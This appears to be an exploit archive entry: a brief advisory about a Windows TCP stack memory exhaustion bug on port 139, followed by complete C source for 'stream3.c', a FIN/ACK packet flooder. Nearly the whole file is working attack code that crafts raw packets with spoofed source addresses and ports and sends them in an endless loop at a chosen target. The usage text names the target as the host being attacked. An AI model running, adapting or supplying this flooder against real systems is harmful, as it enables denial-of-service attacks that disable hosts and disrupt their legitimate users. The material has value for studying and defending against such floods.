// source: https://www.securityfocus.com/bid/3967/info
An issue exists in Windows which could cause the TCP stack to consume all available system memory.
This is achieved if a user sends numerous empty TCP packets to a host on port 139.
Successful exploitation of this vulnerability could render the system useless.
/*
stream3.c - FIN/ACK flooder
Tested to compile and work under FreeBSD
(c) by 3APA3A @ SECURITY.NNOV, 2000
3APA3A@security.nnov.ru
http://www.security.nnov.ru
Thanx to DarkZorro & Error for discovering this problem
Greetz to void.ru. Get better, Duke!
*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long ip_src, ip_dst; /* source and dest address */
};
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
u_long th_seq; /* sequence number */
u_long th_ack; /* acknowledgement number */
u_int th_x2:4, /* unused */
th_off:4; /* data offset */
u_char th_flags; /* flags field */
u_short th_win; /* window size */
u_short th_sum; /* tcp checksum */
u_short th_urp; /* urgent pointer */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};
struct packet {
struct ip_hdr ip;
struct tcp_hdr tcp;
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcp_hdr tcp;
};
u_short dstport=139, srcport=0;
u_long dstaddr, srcaddr=0;
int sock;
void usage(char *progname)
{
fprintf(stderr,
"Usage: %s <dstaddr> <dstport> <srcaddr> <srcport>\n"
" dstaddr - the target we are trying to attack.\n"
" dstport - TCP port (139 default).\n"
" srcaddr - spoofed source address (random default)\n"
" srcport - spoofed source TCP port (random default)\n",
progname);
exit(1);
}
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
u_long lookup(char *hostname)
{
struct hostent *hp;
if ((hp = gethostbyname(hostname)) == NULL) {
fprintf(stderr, "Could not resolve %s.\n", hostname);
exit(-3);
}
return *(u_long *)hp->h_addr;
}
void flooder(void)
{
int i;
struct packet packet;
/* use same structure as pseudo packet */
struct cksum * cksum = (struct cksum *)((char *)&packet + sizeof(struct ip_hdr) - sizeof(struct pseudo_hdr)) ;
struct sockaddr_in s_in;
memset(&packet, 0, sizeof(packet));
if(!srcaddr)srcaddr = random();
if(!srcport)srcport = rand();
packet.tcp.th_win = htons(16384);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 5;
packet.tcp.th_urp = 0;
packet.tcp.th_ack = rand();
packet.tcp.th_flags = TH_ACK|TH_FIN;
packet.tcp.th_sport = htons(srcport);
packet.tcp.th_dport = htons(dstport);
cksum->pseudo.daddr = dstaddr;
cksum->pseudo.saddr = srcaddr;
cksum->pseudo.mbz = 0;
cksum->pseudo.ptcl = IPPROTO_TCP;
cksum->pseudo.tcpl = htons(sizeof(struct tcp_hdr));
packet.tcp.th_sum = in_cksum((void *)cksum, sizeof(struct cksum));
packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof(packet));
packet.ip.ip_off = 0;
packet.ip.ip_ttl = 255;
packet.ip.ip_dst = dstaddr;
packet.ip.ip_src = srcaddr;
packet.ip.ip_sum = 0;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
s_in.sin_family = AF_INET;
s_in.sin_port = htons(dstport);
s_in.sin_addr.s_addr = dstaddr;
for(i=0;;++i) { /* we do not want to change packet at all */
if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0)
perror("sendto()");
}
}
int main(int argc, char *argv[])
{
int on = 1;
printf("stream3.c v0.1 - FIN/ACK Storm\n 3APA3A@security.nnov.ru\n");
if (argc < 1) exit(-3);
if (argc < 3 || argc > 5)
usage(argv[0]);
srand(time(NULL)); /* we needn't too much randomness */
dstaddr = lookup(argv[1]);
dstport = atoi(argv[2]);
if (!dstaddr || !dstport) usage(argv[0]);
if(argc > 3) srcaddr = lookup(argv[3]);
if(argc > 4) srcport = atoi(argv[4]);
if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket()");
exit(-1);
}
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt()");
exit(-2);
}
printf("Starting");
fflush(stdout);
flooder();
return 0;
}